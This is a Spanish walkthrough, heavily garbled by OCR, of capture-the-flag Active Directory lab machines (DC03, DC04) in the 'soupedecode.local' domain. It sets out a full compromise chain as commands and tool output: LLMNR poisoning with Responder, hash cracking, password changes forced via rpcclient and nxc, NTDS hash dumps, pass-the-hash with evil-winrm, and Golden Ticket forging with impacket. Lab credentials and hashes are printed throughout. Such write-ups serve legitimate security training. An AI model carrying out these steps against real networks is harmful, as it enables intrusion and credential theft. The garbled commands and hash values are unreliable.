445 soupedecode. local\jharper5:110
445 soupedecode.local\bxenia6:1109
445 soupedecode.local\gmona7: 111!
445 soupedecode. local\oaaron8: 111

d3b435b51404eeaad3bd35b51404ee:68e34c259878fd6a31c85cbea32ac671

2cdedd79a2fe7chcBc55826b0FF2d54:

00f9c9d3e4654d9bd590fc4296adfo1

ad3b435b51404eeaad3b435b51404ee:d997d3309bc876f12cbbed32d82b18a3:

ad3b435b51404eeaad3bd35b51404e

445 soupedecode. local\pleo9:1112:aad3b435b51404eeaad3bd35b51404ee:

445 soupedecode. local\evictori0:1113:aad3b435b51404eeaad3bd35b51404e
445 soupedecode. local\wreed11:1114:

445 soupedecode. local\bgavini2: 111
445 soupedecode. local\ndellal3:111
445 soupedecode. local\akevinl4: 111
445 soupedecode. local\kxenial5: 111
445 soupedecode. local\ycody16:1119
445 soupedecode.local\gnoral7:1120

ad3b435b51404eeaad3b435b51404e

d3b435b51404eeaad3b435b51404¢ee

d3b435b51404eeaad3b435b51404ee
aad3b435b51404eecaad3b435b51404ee
ad3b435b51404ecaad3b435b51404e
ad3b435b51404eeaad3b435b51404e

445 soupedecode. local\dyvonnel8:1121:aad3b435b51404eeaad3bd35b51404e

445 soupedecode. local\qxental9:112
445 soupedecode. local\rreed20:1123
445 soupedecode.local\lcody21:1124
445 soupedecode. local\ftom22:112

445 soupedecode. local\ijake23:112

445 soupedecode. local\rpenny24:112
445 soupedecode. local\jiris25:1128

d3b435b51404eeaad3bq35b51404ee
ad3b435b51404eeaad3bd35b51404e
ad3b435b51404eeaad3b435p51404e

69e9033466cb9f7f8d0ceS5a5¢c3305¢

a3a0c87893e1051e6f7b629calddef :
918a6413865d3701a40071365falc3e:

81ladbf0e50ba5edbdcdd95cald0471

:341b52e19e84306edefbbf275428640e
131e20946a86113fef93a640d8dc6de
34ebec647265a56¢fd0b45b45b60922

50f0a735af2069ed26¢13blad7df962
237fedf5fb31cdd847a88e33b4d09
f72bb25fa1d246fa8c fbd243bdd51f
153595411808f130fee8b2c8f02a692
6265594 fead59fa15d377bbbb2dch
19f543d19fa53cc96c319c68e7c25a!

d3b435b51404eeaad3bd35b51404ee: f10af34344849008dfdca5481c699073

ad3b435b51404eeaad3bq35b51404e
d3b435b51404eeaad3bd35b51404ee
ad3b435b51404eeaad3bd35b51404e¢

01f7dab7e0d2381e2579a0d38ba7b6!
5fab1372261215c4b044a87783431864
6012bfc74a0369d2915602113257b

445 soupedecode. local\colivia26:1129:aad3b435b51404eeaad3bd35b51404ee: 8f5f5bbd0aff00e15459b39117921b7.
Tenemos el HASH de Administrator, por lo que vamos a conectarnos
mediante winrm para conseguir las flags.

evil-winrm -i 14.14.1.29 -u 'Administrator' -H
'8982babd4da89d33210779a6¢c5b078bd’

-1 14.14.1.29 -u
Warning: Remote path completions {s disabled due to ruby limitation: quoting_detection_proc() function {s unimplemented on this machine
PS C:\Users\Administrator\Documents> ls C:\Users\Administrator\Desktop

Directory: C:\Users\Administrator\Desktop

LastWriteTime Length

6/12/2024 01 PM 33

PS C:\Users\Administrator\Documents> :\Users\zximenad48\Desktop
Directory: C:\Users\zximenad48\Desktop

LastWriteTime Length Name

6/12/2024 1:01 PM

PS C:\Users\Administrator\Documents>

Ya hemos completado este pentesting en el que hemos visto fuerza bruta
de los SID de Windows para identificar usuarios/grupos en el DC, password
spraying, crackeado hashes, escalada de privilegios con el grupo BackUp
Operators, DCSYNC Attack y Pass the Hash. Ademds hemos visto también
distintas herramientas para realizar enumeraciones en los entornos de AD.
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Maquina DCO03

1. Reconocimiento

Vamos a empezar con un escaneo de puertos con nmap, con la
herramienta autfonmap.

p.org ) at 26:

: 2024-08-

Microsoft Wi Actin (Domain: SOUPEDEC - , Site: Default-First-Site-Name)

Microsoft
Microsoft Wil (Domain: SOUPEDECODE.LOCAL®., Site

Microsoft

Tras realizar una enumeracion de todos los puertos (enumerando
rocclient, [dap y smb), no encontramos nada.

Levantamos la herramienta responder a ver si conseguimos interceptar
algun hash NTLMv2. Esto es una muy buena prdactica que en auditorias
reales de pentesting es esencial.

sudo responder -I etho -v
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2. Explotacion

Tenemos un hash ntimv2 para el usuario xkate578, nos lo guardamos y
vemos si lo podemos crakear con john.

nano Hash_NTLMv2
john -wordlist=/usr/share/wordlist/rockyou.txt

Ya tenemos unas credenciales.
Xkate578:jesuchrist

Para comprobar si son vdlidas los podemos probar con crackmapexec

cme smb 14.14.1.25 -u xkate578 -p ‘jesuchrist’

smb 14.14.1.25 -u xkate578 -p
14.14.1.25 445 Dot Windows Server 2022 Build 2034 (name:DCB1) (domain:SOUPEDECODE.LOCAL) (stgning:True) (SMBvi:False)
14.14.1.25 445 DCe1 [+] SOUPEDECODE.LOCAL\xkate578: jesus st

Como podemos ver, son correctas. También con cme podemos
enumerar carpetas compartidas, y vemos una carpeta compartida
interesante, la carpeta share, en la cual tenemos permisos de lectura y
escritura.

cme smb 14.14.1.25 -u xkate578 -p ‘jesuchrist’ --shares

ADMINS Remote Admin
] Default share
IPCS A Remote
READ Logen s
READ, WRITE
READ Lagon server

Aqui tenemos ya la flag de user, al ver esta flag vamos a comprobar si
este usuario se puede conectar de forma remota con winrm, pero no hay
suerte, por lo que toca escalar privilegios o realizar un movimiento lateral
a otro usuario del dominio.
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cme winrm 14.14.1.25 -u xkate578 -p ‘jesuchrist’

winrm 14.14.1.25
0348 (name:DCO1) (domain:SOUPEDECODE.LOCAL)

14.14.1.25 (0 http .14.1.2 )
14.14.1.25 5985  DCO! SOUPEDECODE. LOCAL e578: jesuschrist

3. Escalada de Privilegios

Al tener unas credenciales validas y poder enumerar todos los usuarios
del dominio, probamos también si hay usuarios vulnerables a ataque
ASREPRoast o Kerberoast, pero no hay ninguno. Lo siguiente, es
ejecutar [dapdomaindump, para asi también poder enumerar grupos,
equipos... y ver toda la informacidon con una estructura y visualmente
mejor.

mkdir ldump

cd ldump

ldapdomaindump -u soupedecode.local\\xkate578 -p 'jesuchrist'
14.14.1.25

sudo python3 -m http.server 80

Domain Users
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AqQui ya podemos ver cosas interesantes, como que nuestro usuario
pertenece al grupo de “Account Operators”.

Account Operalors

e [ RAM Name | Crested on | Changed on | iasilopen Fa il asinet | S0 [

Si buscamos informacién acerca de este grupo enconframos lo siguiente:
El grupo Account Operators concede privilegios limitados de creacion de
cuentas a un usuario. Los miembros de este grupo pueden crear y
modificar la mayoria de los tipos de cuentas, incluidas las cuentas para
los usuarios, los grupos locales y los grupos globales. Los miembros del
grupo pueden iniciar sesion localmente en confroladores de dominio. Los
miembros del grupo NO pueden administrar la cuenta de usuario
Administrador, las cuentas de usuario de los administradores, o 1os grupos
Administradores, Operadores de servidor, Operadores de cuentq,
Operadores de copia de seguridad u Operadores de impresion. Los
miembros de este grupo no pueden modificar los derechos de usuario.

Sabiendo esto, vemos otro grupo bastante interesante, Operators, que
este a su vez forma parte del grupo Admins del Dominio, por lo que si hay
algun usuario que pertenezca a este grupo de Operators, podremos
cambiarle la contfrasena y por consiguiente conseguir unas credenciales
de Admins del dominio.

En el grupo Operators solo tiene un usuario, foeth103.

Operators

Vamos a ver si podemos forzarle un cambio de contrasena a este usuario
a través de rpcclient.

rpcclient -U ‘xkate578° 14.14.1.25
setuserinfo2 fbeth103 23 Passl1234!

exit

cme smb 14.14.1.25 -u fbeth103 -p ‘Passl234!’

Windows Server 2022 Build 20 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
[+] SOUPEDECODE.LOCAL\fbeth183:P. ! (Pwn3d!)

Vemos que funciona y ademds, al pertenecer al grupo de domain
admins vemos el Pwn3d! de cme, lo que significa que tenemos acceso
total al domino.
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https://private-user-images.githubusercontent.com/154221253/356909489-42335bdd-b4ec-42fc-91ae-aed6f4d44750.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5NDg5LTQyMzM1YmRkLWI0ZWMtNDJmYy05MWFlLWFlZDZmNGQ0NDc1MC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00MTBkMzFjZTNiZGZjNDQ4YTE3ZTY1YmE1NDU0OTAzNjQ2NTBmZjFlZjg5ZDMwYjUzNDYwNDc3NDkyZWE3YzZhJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.hoTNsgnc8rNbmitEORv_LpVn9sVDTHlghmOEgnlFVII
https://private-user-images.githubusercontent.com/154221253/356909505-438c3113-e38f-4e92-a3bd-45c60fb87fc1.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NDc3Mzc1MTUsIm5iZiI6MTc0NzczNzIxNSwicGF0aCI6Ii8xNTQyMjEyNTMvMzU2OTA5NTA1LTQzOGMzMTEzLWUzOGYtNGU5Mi1hM2JkLTQ1YzYwZmI4N2ZjMS5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwNTIwJTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDUyMFQxMDMzMzVaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0zYjYwM2ZhZmMxZjAwYTg4MTFmNDEzYjJmMTllYWQzYzM3NzFjMDBiOWVmNjBhODUzMzY1YWIyODU5YWZhNjc3JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.6YkAhACRUWNdCeZGCCnu-47sO88FB5g3nHDOSW9fNKM

Lo siguiente que haremos es dumpear el NTDS, NTDS es una tecnologia
de directorio de Microsoft que se utiliza para almacenar informacion
sobre los recursos de red y servicios de una organizacion. NTDS
proporciona la capacidad de administrar todos los recursos de red a
través de una sola plataforma y cuenta con la capacidad de gestionar
la autenticacioén, autorizacidon y acceso a los recursos de red.

En resumen, que podemos obtener todos los hashes NTLMv1 del dominio.

cme smb 14.14.1.25 -u fbeth103 -p ‘Passl234!’ --ntds

rver 2022 Build 1) (domatin:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
)
50 go grab a redbull,.
or 404eea 404ee:2176416a80e41628041101d3a55d6¢93:::
Guest:501:aad3b435b51404eeaad3bq35b51404ee:31d6cfe0d16ae931b73¢59d7e0c089¢0: : :

krbtgt:502:aad3b435b51404eeaad3bd35b51404ee: fh9d84e61e78c26063aced3bf9398ef0:: :

soupedecode. local\bmark0:1103:aad3b435b51404ecaad3b435b51404ee:d72¢66955a6dc0fe5e76d205a630b15:: ¢
soupedecode.local\otaral:1104:aad3b435b51404eeaad3b435b51404ee: ee98116e3d568814111bd2a67a5494 H
soupedecode.local\kleo2:1105:aad3b435b51404ecaad3b4d35b51404¢ee: bdab3615bc51724865a0cd0bdfd9ecl.
soupedecode.local\eyara3:1106:aad3b435b51404eeaad3bd35b51404ee:68e34c259878fd6a31c85¢chea32ach’
soupedecode.local\pquinnd:1107:aad3b435b51404eeaad3bd35b51404ee:92cdedd79a2fe7cbc8c55826b0Ff2
soupedecode.local\jharper5:1108:aad3b435b51404eeaad3b435b51404ee:80019c9d3e4654d9bd590fc4296adf0. :
soupedecode.local\bxenia6:1109:aad3b435b51404ecaad3bd35b51404ee:d997d3309bc876112¢bbe932d82b18a3: : :

Con esta informacién nos podemos conectar con winrm, realizando un
pass the hash con el usuario Administrator y su hash NTLMv1.

-1 14.14.1.26 -u

Warning: Remote path completions s disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
\Administrator\Documents> cd ../Desktop
\Administrator\Desktop> s
Directory: C:\Users\Adainistrator\Desktop
Mode

e

soupedecode\admint.
PS C:

Ya hemos completado este CIF en el que hemos visto un
envenenamiento LLMNR, crackeado hashes, escalada de privilegios del
grupo Account Operators y Pass the Hash.
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Maquina DC04

1. Reconocimiento

Vamos a empezar con un escaneo de puertos con nmap, con la
herramienta autfonmap.

I\ AY AV AT Y A _ - - —
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Created by BanYio

IP to scan:
172.16.90.93
Path to save results (For example, /path/to/save):

Open Ports:

Results saved in: ./scan.txt

- DCo4 scan.

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-2@ 18:05 CEST
Nmap scan repert for 172.16.90.93

Host is up (0.00073s latency)

PORT STATE SERVICE
53/tcp open domain Simple DNS Plus

80/tcp open http Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)

| _http-title: Did not follow redirect to http://soupedecode.local

| _http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12

88/tcp kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-21 @1:05:39Z)
135/tcp msrpc Microsoft Windows RPC

139/tcp netbios-ssn  Microsoft Windows netbios-ssn

389/tcp ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCA
445/tcp microsoft-ds?
464/tcp kpasswd5?
593/tcp ncacn_http
636/tcp tcpwrapped
3268/tcp JUET Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCALO., Site: Default-First-Site-Name)
3269/tcp tcpwrapped
5985/tcp http

| _http-title: Not Found

| _http-server-header: Microsoft-HTTPAPI/2.0

9389/tcp open mc-nmf .NET Message Framing

49664/tcp open msrpc Microsoft Windows RPC

49667/tcp open msrpc Microsoft Windows RPC

49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0

VERSION

, Site: Default-First-Site-Name)

Microsoft Windows RPC aver HTTP 1.0

Microsoft HTTPAPI httpd 2.@ (SSDP/UPnP)

Tras readlizar una enumeracion de todos los puertos (enumerando
rocclient, Idap y smb), no encontramos nada interesante por lo que nos
centramos en el puerto 80, realizando un fuzzing.

feroxbuster --url 'http://soupedecode.local/'

—-url 'http:

Target Url
Threads
Wordlist

Status Codes
Timeout (secs)
User-Agent
Config File
Extract Links
HTTP methods
Recursion Depth

http://soupedecode. local/
50

/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

7

feroxbuster/2.11.0
/etc/feroxbuster/ferox-config.toml
true

[GET]

4

Press [ENTER] to use the Scan Management Menu™
GET 30w 308c Auto-filtering found

GET 33w A tering found -like res ted new filter; toggle off with
GET 0w soupedecode. local/ => http ec 1

-like response and created new filter; toggle off with
|

GET
GET
GET
GET

44w
30w
825w
7264w

SRR ] - 1T

1 - 17s

30015/30015
30000/30000

/soupedecode
/soupedecode
/soupedecode
http://soupedecode
0s 3D

. local/examples

.local/licenses => http:

.local/server-status
.local/server-info
4

1799/s htto:}/souoedecode.lécal/



https://github.com/BanYio/AutoNMAP

Vemos el endpoint /server-info, donde podemos encontrar un virtual
hosting apuntando hacia el subdominio; heartbeat.soupedecode.local.

In file: C:/xampp/apache/conf/extra/httpd-vhosts.conf
45: <VirtualHost *:8080=
a6 DocumentRoot "C:/xampp/htdocs/defaul t”
47: <Directory "C:/xampp/htdocs/default"=>
48: AllowOverride ALL
</Directory=
: =/VirtualHost=>
54: <VirtualHost *:8080=>

55: "
56: |ServerName heartbeat.soupedecode,Iocaii

57: <Directory "C:/xampp/htdocs/heartbeat"=
58: AllowOverride ALl
</Directory=
: </VirtualHost>

Lo anadimos al /etc/hosts y cuando visitamos la pdagina nos lleva a un
panel de login.

Login

aaaaa

Abrimos burpsuite e interceptamos la peticion del login y la enviamos al
intruder. En el intruder dejamos el user como admin y marcamos con Add,
el campo de la password, para realizar un ataque de fuerza bruta a la
confrasena con el diccionario /usr/share/seclists/Passwords/Default-
Credentials/default-passwords.txt

iiWAF EN LA MAQUINA!

Tras 40 intentos la mdquina nos baneaq, saltando errores 403, lo que
tenemos que hacer es, nada mads instalar la mdquina, realizar una
snapshot, para revertirlo cada vez que nos banee.
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Otra opcidn seria tratar de evadir este WAF, pero eso lo podemos ver en
ofro post.

4 3.Intruder attack of http:/fheartbeat.soupedecode.local Attack v Save v @
es posi
rar: iy capture §
Status cad Resporse receied i Timean malid con H
00 w0 1 &
00 1
200 30 1
00 1 e
200 1
! 7
w03 5 H
03 a
03 4
-
=28
(o]
£

Una vez revertido el snapshot, acortamos la wordlist y obtenemos
credenciales vdlidas para acceder a este servicio.

Request Payioad Status code Responsereceived  Ervor Timeout Length invalid usemame or password.  Comment
1 root 200 7 = 1
2 user 200 m 274 1
3 Administrative 200 120 7 1
Congress 200 103 74 1
dmin 200 s Porm 1
|3 nimda 200 67 2389 |
T T T 7T T
8 password 200 65 274 1
Request  Respo
pretty w @ =

7.36 (kHTML, Like Gecko)
:9=0.9, image/ avif , 1mage/webp

ge/aut

admin:nimda

Cuando accedemos nos solicita que introduzcamos una IP, y cuando la
infroducimos salta un mensaje de ‘Connectio failed!’, por lo que vamos a
levantar el responder y vamos a forzar que se intente conectar a nuestra
IP, obteniendo asi el hash NTLMv2 del usuario de servicio web.
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sudo responder -I ethe

[*] [DCE-RPC Mapper] Redirected fe80::9897:1f9:ab73:b4adto WINSPOOL auth server
¥ AT 4

for
for
for
for
for LPW11-ALEFER
for nam ER
answer nt to 19 d9-bd32-ba8c-1afed

UNKNOWN group default qlen 1000

“~.__ Network Share Heartbeat

pr &
ST,MULTICAST,UP, LOWER_UP> > 102168164

t?r‘j ff.ff f e

Connection failed!

2. Explotacién

Nos guardamos el hash NTLMv2 en un fichero de texto y tratamos de
romperlo con johntheripper o hashcat.

john --wordlist=/usr/share/wordlists/rockyou.txt NTLMv2.txt

Comprobamos que las credenciales sean vdalidas.

nxc smb 192.168.1.144 -u websvc -p 'jordan23'

+ DCo4 --wordlist=/usr/share/wordlists/rockyou.txt NTLMv2.txt
Created directory: /home/factum/.john

Using default input encoding: UTF-8

Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads

Press 'q! or Ctrl-C to abort, almost any other key for status

)

25-05-21 11:54) 100.0g/s 204800p/s 204800c/s 204800C/s 123456..loversl
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
+ DCo4 smb 192.168.1.144 -u websvc -p |
] 192.168.1.144 445 DCO1 1 Windows Server 2022 Build 20348 x64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB | 192.168.1.144 445 DCoO1 SOUPEDECODE . LOCAL\websvc: jordan23| STATUS_PASSWORD_EXPIRED
=+ DCo4

Podemos observar que las credenciales son vdlidas pero la contrasena
de este usuario ha expirado, vamos a fratar de forzar un cambio de
contrasena.
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nxc smb 192.168.1.144 -u websvc -p 'jordan23' -M change-password
-0 NEWPASS='Temporall979!!’
nxc smb 192.168.1.144 -u websvc -p 'Temporall979!!’

nxc smb 192. 166 1.144 -u websvc -p 'jordan23'

SMB o .1.144 445 DCO [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
SMB 5 .1.144 445 DC01 [-] SOUPEDECODE.LOCAL\websvc: jordan23 |STATUS PASSWORD EXPIRED| 1

L nxc smb 192. 168 1.144 -u websvc -p 'jordan23' -M change-password -o NEWPASS='Temporali979!!
SMB .168.1.144 445 DCO [*] windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB 5 .1.144 445 DC@l [-]1 SOUPEDECODE.10CAI \wehsvc: jordan?3 STATIIS_PASSWORD_EXPIRED
CHANGE-P. . . . .1.144 445 bco [+] Successfully changed password for websvc| 2

nxc smb 192. 168 1.144 -u websvc -p 'Temporal1979!!"

SMB . .1.144 445 DCo1 [%]1 Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvl:False)
SMB 5 5 .144‘ 445 DCO1 3 | [+]| SOUPEDECODE.LOCAL\websvc:Temporal1979!

Si tratamos de ejecutar bloodhound, nos salta el mismo error que en las
mdAaquinas anteriores.

git clone https://github.com/iphelix/dnschef.git

cd dnschef

sudo python3 dnschef.py -fakeip 192.168.1.144
bloodhound-python -d soupedecode.local -v --zip -c All -ns
127.0.0.1 -u 'websvc' -p 'Temporall979!!' -dc
dc@l.soupedecode.local

Por otro lado vamos a listar las carpetas compartidas y vemos algo
interesante;

nxc smb 192.168.1.144 -u websvc -p 'Temporall979!!' -shares
smbclient //192.168.1.144/C -U 'websvc'

.168.1.144 -u websvc -p 'Tempora --shares

.1.144 445 DCol [*] Windows Server 2022 Build 20348 x64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
[+] SOUPEDECODE .LOCAL\websvc:Temporal1979!!

[*] Enumerated shares

Sh. i

ADMIN$
[4

[£3 Default share

IPC$ Remote IPC
NETLOGON Logon server share
SYSVOL Logon server share

1
1
1
1
1
.1,
1
1
1
il
1

8.1.144 445 DCo1
//192.168.1.144/C -U
Password for [WORKGROUP\websvc]:
Try "help" to get a list of possible commands
smb: \> ls
$WinREAgent DH 0 Sat Jun 15 21:19:51 2024
Documents and Settings DHSrn 0 Sun Jun 16 04
DumpStack.log.tmp AHS 12288 Wed May 21 21:
pagefile.sys AHS 1476395008 Wed May 21 21
PerflLogs 0 Sat May 8
Program Files DR 0 Sat Jun
Program Files (x86) D Sat May
ProgramData Tue Nov
Recovery Sun Jun
System Volume Information DHS Sat Jun
Users Thu Nov
Windows Thu Nov 7 23
xampp D Tue Nov 5 23:56:28 2024

12942591 blocks of size 4096. 10627069 blocks available

smb: \> |

Enumeramos esta carpeta compartida, y en los usuarios del sistema
(C:\Users\) vemos los siguientes users;

fjudy998
ojake987
rtina%979
xursula991
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3. Escalada de Privilegios

Por lo que vamos a ver las descripciones de estos usuarios y enconframos
una default password, pero nuevamente expirada, por o que repetimos
el proceso de cambio de contrasena.

nxc smb 192.168.1.144 -u websvc -p 'Temporall979!!' --users >
valid AD Users.txt

cat valid AD Users.txt | grep fjudy998

cat valid AD Users.txt | grep ojake987

cat valid AD Users.txt | grep rtina979

cat valid_AD Users.txt | grep xursula991l

nxc smb 192.168.1.144 -u rtina979 -p 'Z~13JhcV#7Q-1#M'

nxc smb 192.168.1.144 -u rtina979 -p 'Z~13JhcV#7Q-1#M"' -M
change-password -o NEWPASS='Temporall979!!’

nxc smb 192.168.1.144 -u rtina979 -p 'Temporall979!!"’

ning:True) (SMBvi:False)

(signing:True) (SMBv1:False)

Ahora, de nuevo investigando por el directorio ‘C:\Users\rtina%979’
encontramos un .rar, el cual para obtener su contenido nos solicita una
contrasena.

smb: \Users\rtina979\> cd Documents\
smb: \Users\rtina979\Documents\> 1s
DR
D
DHSrn
DHSrn
My Videos DHSrn
Report.rar A 71204

0 Thu Nov 7 23:35:52 2024
0 Thu Nov 7 02:54:39 2024
0 Thu Nov 7 02:54:39 2024
0 Thu Nov 7 02:54:39 2024
0 Thu Nov 7 02:54:39 2024
6 Thu Nov 7 14:35:49 2024
12942591 blecks of size 4096. 10808238 blocks available
smb: \Users\rtina379\Documents\> get Report.rar
getting file \Users\rtina979\Documents\Report.rar-of size 712046 as Report.rar (23977.8 KiloBytes/sec) (average 23977.8 KiloBytes/sec)
smb: \Users\rtina979\Documents\> exit

credentials.txt dnschef T1dump NTLMv2.txt scan.txt SharedFolders valid_AD_Users.txt
X Report.rar

UNRAR 7.11 freeware Copyright (c) 1993-2025 Alexander Roshal

Enter password (will not be echoed) for Report.rar:

Program aborted
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Con johntheripper es posible sacar la contrasena en texto claro del rary
extraer los ficheros.

rar2john Report.rar > rarjohn
john --wordlist=/usr/share/wordlists/rockyou.txt rarjohn
unrar x Report.rar

DCo4 Report.rar > rarjohn
+ Dco4 --wordlist=/usr/share/wordlists/rockyou.txt rarjohn
Using default input encoding: UTF-8
Loaded 1 password hash (RAR5 [PBKDF2-SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 32768 for all loaded hashes
4 OpenMP threads
abort, almost any other key for status
rt.rar)
25-05-21 13:28) 0.02843g/s 1463p/s 1463c/s 1463C/s angl23..2pacdever
--show" option to display all of the cracked passwords reliably
Session completed.
-+ DCo4 X Report.rar

UNRAR 7.11 freeware Copyright (c) 1993-2025 Alexander Roshal

Enter password (will not be echoed) for Report.rar:

Extracting from Report.rar

Extracting Pentest Report.htm 0K

Creating Pentest Report_files 0K

Extracting Pentest Report_files/m2-unbound-source-serif-pro.css 0K

Extracting Pentest Report_files/main-branding-base.W9]-2zkF03j8TkriAGniTg.12.css OK
Extracting Pentest Report_files/dart.min.js 0K

Extracting Pentest Report_files/google-analytics_analytics.js 0K

Extracting Pentest Report_files/highlight.min.js 0K

Extracting Pentest Report_files/main-base.bundle.IcW7tD43-xaHoBj2_P6wLQ.12.js OK
Extracting Pentest Report_files/main-common-async.bundle.SkTeOM8g4JVEInYAgrgwWoQ.12.js OK
Extracting Pentest Report_files/main-notes.bundle.qVLVB-ghGjYQMo6npDHNjw.12.js OK
Extracting Pentest Report_files/main-posters.bundle.JMIo8YhZONhbVObiML4ANWQ.12.js OK
All 0K

+ DCO4 |

Podemos ver que son .js un .html... por lo que si nos montamos un servidor
web vy si navegamos por la pdagina, podemos ver todo el report de
pentesting.

En este report, en la parte de abagjo del todo, podemos encontrar un
dumpeo del NTDS, sobre el cual aparece el usuario interesante, krbtgt,
con lo cual, si ese hash NTLMv1 es vdlido, podriamos tratar de obtener un
GoldenTicket.

= DCo4 smb 192.168.1.144 -u krbtgt -H 0f55cdc40bd8f5814587f7e6b2f85e6f
SMB 192.168.1.144 445 DCO1 [*] Windows Server 2022 Build 20348 x64 (name:DCO1) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBvi:False)
MB 192.168.1.144 445 DCo1 [-1 SOUPEDECODE.LOCAL\krbtgt:0f55cdc40bd8f5814587f7e6b2f85e6f STATUS_ACCOUNT _DISABLED

pt
- DCo4

El hash es vdlido, por tanto, podemos generar un GoldenTicket. Para ello
es necesario tener el SID del DC y el hash del usuario krbtgt.
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Para obtener el SID del DC lo podemos hacer desde bloodhound.

= . DC01.SOUPEDECODE.LOCAL

— Object Information

Tier Zero: TRUE
Object ID:

§-1-5-21-2986980474-467657180-2505414164-1000

Allows Unconstrained Delegation: TRUE

Created: 2024-06-15 21:25 GMT+2 (GMT+0200)
Distinguished Name:

CN=DC01,0U=DOMAIN
CONTROLLERS,DC=SOUPEDECODE,DC=LOCAL

Domain FQDN: SOUPEDECODE.LOCAL
DU EOAT RO LOEAL Domain SID:  5-1-5-21-2986980474-46765180-2505414164.
Enabled: TRUE
LAPS Enabled: FALSE

Last Collected by BloodHound:
2025-05-21 12:44 GMT+2 (GMT+0200)

Last Logon (Replicated):
2025-05-21 20:42 GMT+2 (GMT+0200)

El hash lo tenemos en el html del report.

At this point, we also obtained a sample of the NTDIST from the Active

Directory:

: 502 :aad3b435b51404eeaad3b435b51404eek 0f55cdc40bdaf5814587fTe6b2 FBEeGFk BE

soupedecode.
soupedecode.
soupedecode.
soupedecode.
soupedecode.
soupedecode.
soupedecode.
soupedecode.
soupedecode .
soupedecode.
soupedecode.
soupedecode.
soupedecode.

locallbmark®:1183:aad3b435b51404eeaad3b435b51404ee:dT72c66e955a6dcOf
locallotaral:1104:aad3b435b51404eeaad3b435b51404ee:ee08716e3d568814
localikleo2:1105:a3ad3b435b51404eeaad3b435b51404ee: bda63615bc517248E
locall\eyara3:11086:aad3b435b51404eeaad3b435b51404ee: 68e34c259878fd6:
localypquinn4:1107:aad3b435b51404eeaad3b435b51404ee: 92cdeddT79a2fedc
localyjharper5:1188: aad3b435b51404eeaad3b435b51404ee: 800 T9c9d3e4654
localybxenia6:11689:aad3b435b51404ecaad3b435b51404ee:d997d3309bca761
localygmona7:1116:aad3b435b51404eeaad3b435b51404ee:c2506dfaT7572das]
localloaaron8:1111:aad3b435b514084eeaad3b435b51404ee: 869e9033466chaf
localypleo9:1112:a3ad3b435b51404eeaad3b435b51404ee:54a3a0c878932105]
locallevictorl®:1113:aad3b435b51404eeaad3b435b51404ee:c918a6413865¢
locall\wreedll:1114:aad3b435b51484eeaad3b435b51404ee: a58ladbfees0bat
locallbgavinl2:1115:aad3b435b51404eeaad3b435b51404ee:baT8418ef53ade

»

Por tanto juntando estos 2 requisitos podemos obtener un Golden Ticket
impersonando el usuario Administrator.

sudo rdate

-n 192.

168.1.144

impacket-ticketer -nthash ©f55cdc40bd8f5814587f7e6b2f85e6f -
domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain

soupedecode. local

export KRB5CCNAME=

féylum
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impacket-wmiexec
soupedecode.local/administrator@dcOl. soupedecode.local -k -
target-ip 192.168.1.144

- DCod -n 192.168.1.144
-nthash 0f55cdc40bd8f581458717e6b2f85e6f -domain-sid S-1-5-21-2986980474-46765180-2505414164 -domain soupedecode.local administrator
export KRB5CCNAME=administrator.ccache
Thu May 22 01:13:42 CEST 2025
Impacket v0.13.0.dev® - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos

[#] Customizing ticket for soupedecode.local/administrator
